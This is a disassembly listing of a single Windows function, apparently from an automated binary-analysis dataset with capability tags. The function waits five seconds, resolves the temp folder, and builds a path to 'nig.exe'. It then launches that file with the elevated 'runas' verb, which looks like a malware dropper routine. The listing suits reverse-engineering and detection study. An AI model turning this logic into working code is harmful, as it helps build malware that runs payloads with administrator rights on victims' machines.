Function at 0x140001610
Capabilities:
Create process on windows
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x210]
sub rsp, 0x310
mov rax, qword [0x140007040]
xor rax, rsp
mov qword [rbp + 0x200], rax
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm0, xmmword [0x1400046c0]
lea rdx, [rbp - 0x10]
mov eax, dword [0x140004578]
xor r12d, r12d
movdqu xmmword [rbp - 0x40], xmm0
mov ecx, 0x104
mov dword [rbp - 0x48], eax
movsd xmm0, qword [str.nig.exe]
movzx eax, word [0x14000457c]
movsd qword [rbp - 0x50], xmm0
mov word [rbp - 0x44], ax
mov word [rbp - 0x42], r12w
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea r8, [rbp - 0x50]
lea rdx, [rbp - 0x10]
lea rcx, [rbp - 0x30]
call fcn.140002a60
mov r15, qword [rbp - 0x18]
lea r14, [rbp - 0x30]
mov rsi, qword [rbp - 0x30]
cmp r15, 7
mov rbx, qword [rbp - 0x20]
movabs rdi, 0x7ffffffffffffffe
cmova r14, rsi
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
cmp rbx, rdi
ja 0x140001911
cmp rbx, 7
ja 0x1400016fb
mov qword [rbp - 0x60], rbx
mov qword [rbp - 0x58], 7
movups xmm0, xmmword [r14]
movups xmmword [rbp - 0x70], xmm0
jmp 0x1400017a1
mov rax, rbx
or rax, 7
cmp rax, rdi
jbe 0x14000174d
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
cmp rcx, 0x1000
jb 0x14000177d
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001917
mov rcx, rax
call fcn.140002f08
mov rcx, rax
test rax, rax
je 0x1400018d3
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140001782
mov ecx, 0xa
mov rdi, rax
cmp rax, rcx
movabs rax, 0x7fffffffffffffff
cmovb rdi, rcx
lea rcx, [rdi + 1]
cmp rcx, rax
ja 0x140001917
add rcx, rcx
jne 0x140001715
mov rax, r12
jmp 0x140001782
call fcn.140002f08
lea r8, [rbx*2 + 2]
mov qword [rbp - 0x70], rax
mov rdx, r14
mov qword [rbp - 0x60], rbx
mov rcx, rax
mov qword [rbp - 0x58], rdi
call sub.VCRUNTIME140.dll_memcpy
lea r8, [rbp - 0x70]
call fcn.140001290
cmp qword [rbp - 0x58], 7
lea rax, [rbp - 0x70]
xorps xmm0, xmm0
mov dword [rsp + 0x20], 0x70
cmova rax, qword [rbp - 0x70]
xor ecx, ecx
mov qword [rbp - 0x7c], rcx
mov dword [rbp - 0x74], ecx
lea rcx, str.runas
movups xmmword [rsp + 0x24], xmm0
mov qword [rsp + 0x28], r12
movups xmmword [rsp + 0x34], xmm0
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x20]
movups xmmword [rsp + 0x44], xmm0
mov qword [rsp + 0x38], rax
movups xmmword [rsp + 0x54], xmm0
mov dword [rsp + 0x50], 1
movups xmmword [rsp + 0x64], xmm0
movups xmmword [rsp + 0x74], xmm0
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov rdx, qword [rbp - 0x58]
cmp rdx, 7
jbe 0x140001853
mov rcx, qword [rbp - 0x70]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000184e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400018d3
call fcn.140002f00
movdqa xmm0, xmmword [0x1400046b0]
mov word [rbp - 0x70], r12w
movdqu xmmword [rbp - 0x60], xmm0
cmp r15, 7
jbe 0x14000189c
lea rdx, [r15*2 + 2]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140001894
mov rsi, qword [rsi - 8]
add rdx, 0x27
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400018d3
mov rcx, rsi
call fcn.140002f00
mov rdx, qword [rbp - 0x38]
cmp rdx, 7
jbe 0x1400018df
mov rcx, qword [rbp - 0x50]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400018da
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400018da
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002f00
xor eax, eax
mov rcx, qword [rbp + 0x200]
xor rcx, rsp
call fcn.140002ee0
lea r11, [rsp + 0x310]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.1400011b0
int3
call fcn.140001110
int3